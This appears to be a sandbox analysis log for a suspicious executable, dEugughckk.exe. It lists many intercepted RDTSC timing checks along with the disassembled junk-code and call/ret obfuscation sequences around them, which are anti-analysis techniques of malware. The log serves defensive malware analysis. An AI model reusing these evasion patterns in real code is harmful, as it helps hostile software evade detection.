Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2CFDC6 second address: 2CFE15 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF01CF91320h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FF01CF9131Ch 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007FF01CF9131Dh 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c push ecx 0x0000001d pushad 0x0000001e popad 0x0000001f pop ecx 0x00000020 jng 00007FF01CF91318h 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jc 00007FF01CF91316h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2CFF0E second address: 2CFF2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C281h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edx 0x0000000c pushad 0x0000000d jnp 00007FF01C80C276h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D4FB6 second address: 2D4FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D4393 second address: 2D43B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FF01C80C282h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D4809 second address: 2D4813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FF01CF91316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D4813 second address: 2D485E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007FF01C80C27Eh 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jl 00007FF01C80C2ABh 0x00000017 jmp 00007FF01C80C288h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FF01C80C281h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D485E second address: 2D4862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D4DF6 second address: 2D4DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D4DFA second address: 2D4E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D4E10 second address: 2D4E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D4E15 second address: 2D4E1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D4E1B second address: 2D4E1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D7B7E second address: 2D7B85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D7C7D second address: 2D7C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D7CFD second address: 2D7D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D7D03 second address: 2D7D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D7D07 second address: 2D7D2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D8462 second address: 2D84A5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF01C80C276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FF01C80C278h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 add edi, 1C7E6335h 0x0000002c nop 0x0000002d push eax 0x0000002e push eax 0x0000002f jne 00007FF01C80C276h 0x00000035 pop eax 0x00000036 pop eax 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push ecx 0x0000003c pop ecx 0x0000003d pop eax 0x0000003e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D859F second address: 2D85AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FF01CF91316h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D89C0 second address: 2D89DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007FF01C80C276h 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 jnp 00007FF01C80C280h 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DAFDC second address: 2DAFE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF01CF91316h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DCA95 second address: 2DCA99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DCA99 second address: 2DCA9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DD7AE second address: 2DD7B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DD7B4 second address: 2DD7B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DE2A2 second address: 2DE2A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DE2A8 second address: 2DE2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DE2AC second address: 2DE2B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DE2B0 second address: 2DE2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FF01CF91318h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DED8A second address: 2DED8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DED8E second address: 2DED94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DED94 second address: 2DEDAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jo 00007FF01C80C276h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push esi 0x00000010 jl 00007FF01C80C27Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DEE33 second address: 2DEE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E1215 second address: 2E1219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E1219 second address: 2E121D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E0098 second address: 2E009E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E121D second address: 2E1223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E16FB second address: 2E16FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E17C1 second address: 2E17C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E17C7 second address: 2E17CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E17CC second address: 2E17E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF01CF9131Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E2A0A second address: 2E2A0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E4656 second address: 2E4661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF01CF91316h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E39F9 second address: 2E39FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E4661 second address: 2E4666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E5698 second address: 2E5742 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C27Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FF01C80C27Ch 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 jmp 00007FF01C80C27Eh 0x0000001a jmp 00007FF01C80C285h 0x0000001f popad 0x00000020 nop 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 call 00007FF01C80C278h 0x00000029 pop esi 0x0000002a mov dword ptr [esp+04h], esi 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc esi 0x00000037 push esi 0x00000038 ret 0x00000039 pop esi 0x0000003a ret 0x0000003b push 00000000h 0x0000003d mov dword ptr [ebp+122D31BEh], ecx 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push ecx 0x00000048 call 00007FF01C80C278h 0x0000004d pop ecx 0x0000004e mov dword ptr [esp+04h], ecx 0x00000052 add dword ptr [esp+04h], 0000001Bh 0x0000005a inc ecx 0x0000005b push ecx 0x0000005c ret 0x0000005d pop ecx 0x0000005e ret 0x0000005f xchg eax, esi 0x00000060 pushad 0x00000061 jmp 00007FF01C80C280h 0x00000066 push eax 0x00000067 push edx 0x00000068 jg 00007FF01C80C276h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E66C0 second address: 2E66D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E66D0 second address: 2E66D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E66D6 second address: 2E6767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF9131Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FF01CF91318h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 jne 00007FF01CF9132Ah 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D17ACh], eax 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007FF01CF91318h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 mov ebx, dword ptr [ebp+122D3062h] 0x00000056 mov dword ptr [ebp+122D2E7Dh], esi 0x0000005c xchg eax, esi 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EA6D8 second address: 2EA6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EA6E5 second address: 2EA6EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EA6EA second address: 2EA748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF01C80C276h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FF01C80C278h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D3363h], esi 0x0000002e mov bx, di 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D2E7Dh], ecx 0x00000039 push 00000000h 0x0000003b mov di, 72CEh 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push ecx 0x00000043 jmp 00007FF01C80C286h 0x00000048 pop ecx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EA748 second address: 2EA752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FF01CF91316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2E9868 second address: 2E9923 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF01C80C276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007FF01C80C28Ah 0x00000011 jmp 00007FF01C80C284h 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FF01C80C278h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D35C8h], edi 0x00000037 push dword ptr fs:[00000000h] 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007FF01C80C278h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 0000001Ah 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 mov edi, 3206FE84h 0x0000005d mov dword ptr fs:[00000000h], esp 0x00000064 mov ebx, dword ptr [ebp+122D2AE8h] 0x0000006a jne 00007FF01C80C27Ch 0x00000070 mov eax, dword ptr [ebp+122D1359h] 0x00000076 mov dword ptr [ebp+122D2809h], eax 0x0000007c push FFFFFFFFh 0x0000007e push eax 0x0000007f pushad 0x00000080 jmp 00007FF01C80C285h 0x00000085 push eax 0x00000086 push edx 0x00000087 pushad 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EB807 second address: 2EB80C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EB80C second address: 2EB812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EB812 second address: 2EB816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2ED6E7 second address: 2ED6EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EB816 second address: 2EB873 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91324h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push eax 0x0000000f or edi, dword ptr [ebp+122D2B7Ch] 0x00000015 pop edi 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov bx, di 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 adc edi, 5BF56743h 0x0000002d mov dword ptr [ebp+122D2EB4h], ebx 0x00000033 mov eax, dword ptr [ebp+122D0335h] 0x00000039 mov dword ptr [ebp+122D2F1Eh], edi 0x0000003f push FFFFFFFFh 0x00000041 xor dword ptr [ebp+122D35EBh], edx 0x00000047 nop 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2ED6EB second address: 2ED6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EB873 second address: 2EB889 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91322h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EB889 second address: 2EB894 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FF01C80C276h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EE742 second address: 2EE7B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jo 00007FF01CF9132Ch 0x0000000c jmp 00007FF01CF91326h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FF01CF91318h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007FF01CF91318h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 mov bh, 99h 0x0000004a push 00000000h 0x0000004c mov dword ptr [ebp+122D1B4Fh], eax 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EE7B8 second address: 2EE7BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EF782 second address: 2EF7B1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF01CF9131Fh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF01CF91326h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2EF7B1 second address: 2EF7D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C27Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FF01C80C283h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FA86F second address: 2FA888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF01CF91325h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FA888 second address: 2FA892 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF01C80C276h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FA892 second address: 2FA8A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jne 00007FF01CF91316h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FA8A0 second address: 2FA8BB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF01C80C27Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edi 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FA8BB second address: 2FA8C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FA8C0 second address: 2FA8C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2F9F89 second address: 2F9F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FA219 second address: 2FA21F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FA21F second address: 2FA239 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FF01CF91320h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FA3F0 second address: 2FA3F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FF7E4 second address: 2FF7F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF01CF9131Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FF7F4 second address: 2FF817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF01C80C276h 0x0000000a jmp 00007FF01C80C289h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2FF817 second address: 2FF81B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
